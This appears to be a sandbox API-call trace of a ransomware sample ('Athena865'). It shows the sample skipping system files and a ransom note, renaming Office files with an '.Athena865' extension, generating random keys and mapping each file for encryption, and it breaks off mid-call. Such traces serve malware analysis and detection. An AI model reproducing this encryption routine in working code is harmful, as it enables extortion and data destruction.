[0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2=".") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="..") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="windows") returned -1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="bootmgr") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="temp") returned -1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="pagefile.sys") returned -1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="boot") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="ids.txt") returned 1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="ntuser.dat") returned -1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="perflogs") returned -1 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2="MSBuild") returned -1 [0141.930] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0141.930] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MOR6INT.DLL" | out: lpString1="MOR6INT.DLL") returned="MOR6INT.DLL" [0141.930] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0141.930] lstrlenW (lpString="Athena865") returned 9 [0141.930] lstrcmpiW (lpString1="R6INT.DLL", lpString2="Athena865") returned 1 [0141.930] lstrlenW (lpString=".dll") returned 4 [0141.930] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2=".dll") returned 1 [0141.930] lstrlenW (lpString=".lnk") returned 4 [0141.931] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2=".lnk") returned 1 [0141.931] lstrlenW (lpString=".ini") returned 4 [0141.931] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2=".ini") returned 1 [0141.931] lstrlenW (lpString=".sys") returned 4 [0141.931] lstrcmpiW (lpString1="MOR6INT.DLL", lpString2=".sys") returned 1 [0141.931] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0141.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.Athena865") returned 69 [0141.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.athena865"), dwFlags=0x1) returned 1 [0141.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.933] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=446312) returned 1 [0141.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.934] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.935] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.935] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.935] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d270, lpName=0x0) returned 0x17c [0141.936] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d270) returned 0x2bb0000 [0141.998] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.998] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.998] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.005] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MOR6INT.REST.IDX_DLL" | out: lpString1="MOR6INT.REST.IDX_DLL") returned="MOR6INT.REST.IDX_DLL" [0142.005] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0142.005] lstrlenW (lpString="Athena865") returned 9 [0142.005] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0142.005] lstrlenW (lpString=".dll") returned 4 [0142.005] lstrcmpiW (lpString1="MOR6INT.REST.IDX_DLL", lpString2=".dll") returned 1 [0142.005] lstrlenW (lpString=".lnk") returned 4 [0142.005] lstrcmpiW (lpString1="MOR6INT.REST.IDX_DLL", lpString2=".lnk") returned 1 [0142.005] lstrlenW (lpString=".ini") returned 4 [0142.005] lstrcmpiW (lpString1="MOR6INT.REST.IDX_DLL", lpString2=".ini") returned 1 [0142.005] lstrlenW (lpString=".sys") returned 4 [0142.005] lstrcmpiW (lpString1="MOR6INT.REST.IDX_DLL", lpString2=".sys") returned 1 [0142.005] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0142.005] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.Athena865") returned 78 [0142.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0142.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.007] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39808) returned 1 [0142.007] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.008] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.008] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.008] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e80, lpName=0x0) returned 0x17c [0142.010] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e80) returned 0x100000 [0142.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.015] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.015] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.016] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MOVE.VRD" | out: lpString1="MOVE.VRD") returned="MOVE.VRD" [0142.016] lstrlenW (lpString="MOVE.VRD") returned 8 [0142.016] lstrlenW (lpString="Athena865") returned 9 [0142.016] lstrlenW (lpString=".dll") returned 4 [0142.016] lstrcmpiW (lpString1="MOVE.VRD", lpString2=".dll") returned 1 [0142.016] lstrlenW (lpString=".lnk") returned 4 [0142.016] lstrcmpiW (lpString1="MOVE.VRD", lpString2=".lnk") returned 1 [0142.016] lstrlenW (lpString=".ini") returned 4 [0142.016] lstrcmpiW (lpString1="MOVE.VRD", lpString2=".ini") returned 1 [0142.017] lstrlenW (lpString=".sys") returned 4 [0142.017] lstrcmpiW (lpString1="MOVE.VRD", lpString2=".sys") returned 1 [0142.017] lstrlenW (lpString="MOVE.VRD") returned 8 [0142.017] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.Athena865") returned 66 [0142.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.athena865"), dwFlags=0x1) returned 1 [0142.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.021] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1420) returned 1 [0142.022] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.025] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.025] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.025] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x17c [0142.026] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x100000 [0142.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.028] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.028] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.028] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MPXRES.DLL" | out: lpString1="MPXRES.DLL") returned="MPXRES.DLL" [0142.028] lstrlenW (lpString="MPXRES.DLL") returned 10 [0142.028] lstrlenW (lpString="Athena865") returned 9 [0142.028] lstrcmpiW (lpString1="PXRES.DLL", lpString2="Athena865") returned 1 [0142.028] lstrlenW (lpString=".dll") returned 4 [0142.028] lstrcmpiW (lpString1="MPXRES.DLL", lpString2=".dll") returned 1 [0142.029] lstrlenW (lpString=".lnk") returned 4 [0142.029] lstrcmpiW (lpString1="MPXRES.DLL", lpString2=".lnk") returned 1 [0142.029] lstrlenW (lpString=".ini") returned 4 [0142.029] lstrcmpiW (lpString1="MPXRES.DLL", lpString2=".ini") returned 1 [0142.029] lstrlenW (lpString=".sys") returned 4 [0142.029] lstrcmpiW (lpString1="MPXRES.DLL", lpString2=".sys") returned 1 [0142.029] lstrlenW (lpString="MPXRES.DLL") returned 10 [0142.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.Athena865") returned 68 [0142.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.athena865"), dwFlags=0x1) returned 1 [0142.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.030] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12664) returned 1 [0142.031] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.031] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.031] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.031] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3480, lpName=0x0) returned 0x17c [0142.035] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3480) returned 0x100000 [0142.040] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.040] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.041] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.041] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.DEV.HXS" | out: lpString1="MSACCESS.DEV.HXS") returned="MSACCESS.DEV.HXS" [0142.041] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0142.041] lstrlenW (lpString="Athena865") returned 9 [0142.041] lstrcmpiW (lpString1="S.DEV.HXS", lpString2="Athena865") returned 1 [0142.041] lstrlenW (lpString=".dll") returned 4 [0142.041] lstrcmpiW (lpString1="MSACCESS.DEV.HXS", lpString2=".dll") returned 1 [0142.041] lstrlenW (lpString=".lnk") returned 4 [0142.041] lstrcmpiW (lpString1="MSACCESS.DEV.HXS", lpString2=".lnk") returned 1 [0142.041] lstrlenW (lpString=".ini") returned 4 [0142.041] lstrcmpiW (lpString1="MSACCESS.DEV.HXS", lpString2=".ini") returned 1 [0142.041] lstrlenW (lpString=".sys") returned 4 [0142.042] lstrcmpiW (lpString1="MSACCESS.DEV.HXS", lpString2=".sys") returned 1 [0142.042] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0142.042] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.Athena865") returned 74 [0142.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0142.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.046] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10745972) returned 1 [0142.046] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.047] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.047] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.047] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3fb80, lpName=0x0) returned 0x17c [0142.049] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x3fb80) returned 0x170000 [0142.338] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.339] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.339] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.350] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.DEV_COL.HXC" | out: lpString1="MSACCESS.DEV_COL.HXC") returned="MSACCESS.DEV_COL.HXC" [0142.350] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0142.350] lstrlenW (lpString="Athena865") returned 9 [0142.350] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0142.350] lstrlenW (lpString=".dll") returned 4 [0142.350] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXC", lpString2=".dll") returned 1 [0142.350] lstrlenW (lpString=".lnk") returned 4 [0142.350] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXC", lpString2=".lnk") returned 1 [0142.350] lstrlenW (lpString=".ini") returned 4 [0142.350] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXC", lpString2=".ini") returned 1 [0142.350] lstrlenW (lpString=".sys") returned 4 [0142.350] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXC", lpString2=".sys") returned 1 [0142.350] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0142.350] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.Athena865") returned 78 [0142.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0142.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.354] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=656) returned 1 [0142.354] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.355] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.355] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.355] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0142.357] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0142.373] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.382] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.382] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.383] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.DEV_COL.HXT" | out: lpString1="MSACCESS.DEV_COL.HXT") returned="MSACCESS.DEV_COL.HXT" [0142.383] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0142.383] lstrlenW (lpString="Athena865") returned 9 [0142.383] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0142.383] lstrlenW (lpString=".dll") returned 4 [0142.383] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXT", lpString2=".dll") returned 1 [0142.383] lstrlenW (lpString=".lnk") returned 4 [0142.383] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXT", lpString2=".lnk") returned 1 [0142.383] lstrlenW (lpString=".ini") returned 4 [0142.383] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXT", lpString2=".ini") returned 1 [0142.383] lstrlenW (lpString=".sys") returned 4 [0142.383] lstrcmpiW (lpString1="MSACCESS.DEV_COL.HXT", lpString2=".sys") returned 1 [0142.383] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0142.383] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.Athena865") returned 78 [0142.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0142.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.386] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=212) returned 1 [0142.386] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.387] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.387] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.387] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0142.396] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0142.402] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.403] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.403] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.404] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.DEV_F_COL.HXK" | out: lpString1="MSACCESS.DEV_F_COL.HXK") returned="MSACCESS.DEV_F_COL.HXK" [0142.404] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0142.404] lstrlenW (lpString="Athena865") returned 9 [0142.404] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0142.404] lstrlenW (lpString=".dll") returned 4 [0142.404] lstrcmpiW (lpString1="MSACCESS.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0142.404] lstrlenW (lpString=".lnk") returned 4 [0142.404] lstrcmpiW (lpString1="MSACCESS.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0142.404] lstrlenW (lpString=".ini") returned 4 [0142.404] lstrcmpiW (lpString1="MSACCESS.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0142.404] lstrlenW (lpString=".sys") returned 4 [0142.404] lstrcmpiW (lpString1="MSACCESS.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0142.404] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0142.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.Athena865") returned 80 [0142.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.406] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0142.406] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.407] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.407] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.407] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.415] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.418] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.419] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.419] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.419] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSACCESS.DEV_K_COL.HXK" | out: lpString1="MSACCESS.DEV_K_COL.HXK") returned="MSACCESS.DEV_K_COL.HXK" [0142.419] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0142.419] lstrlenW (lpString="Athena865") returned 9 [0142.419] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0142.419] lstrlenW (lpString=".dll") returned 4 [0142.419] lstrcmpiW (lpString1="MSACCESS.DEV_K_COL.HXK", lpString2=".dll") returned 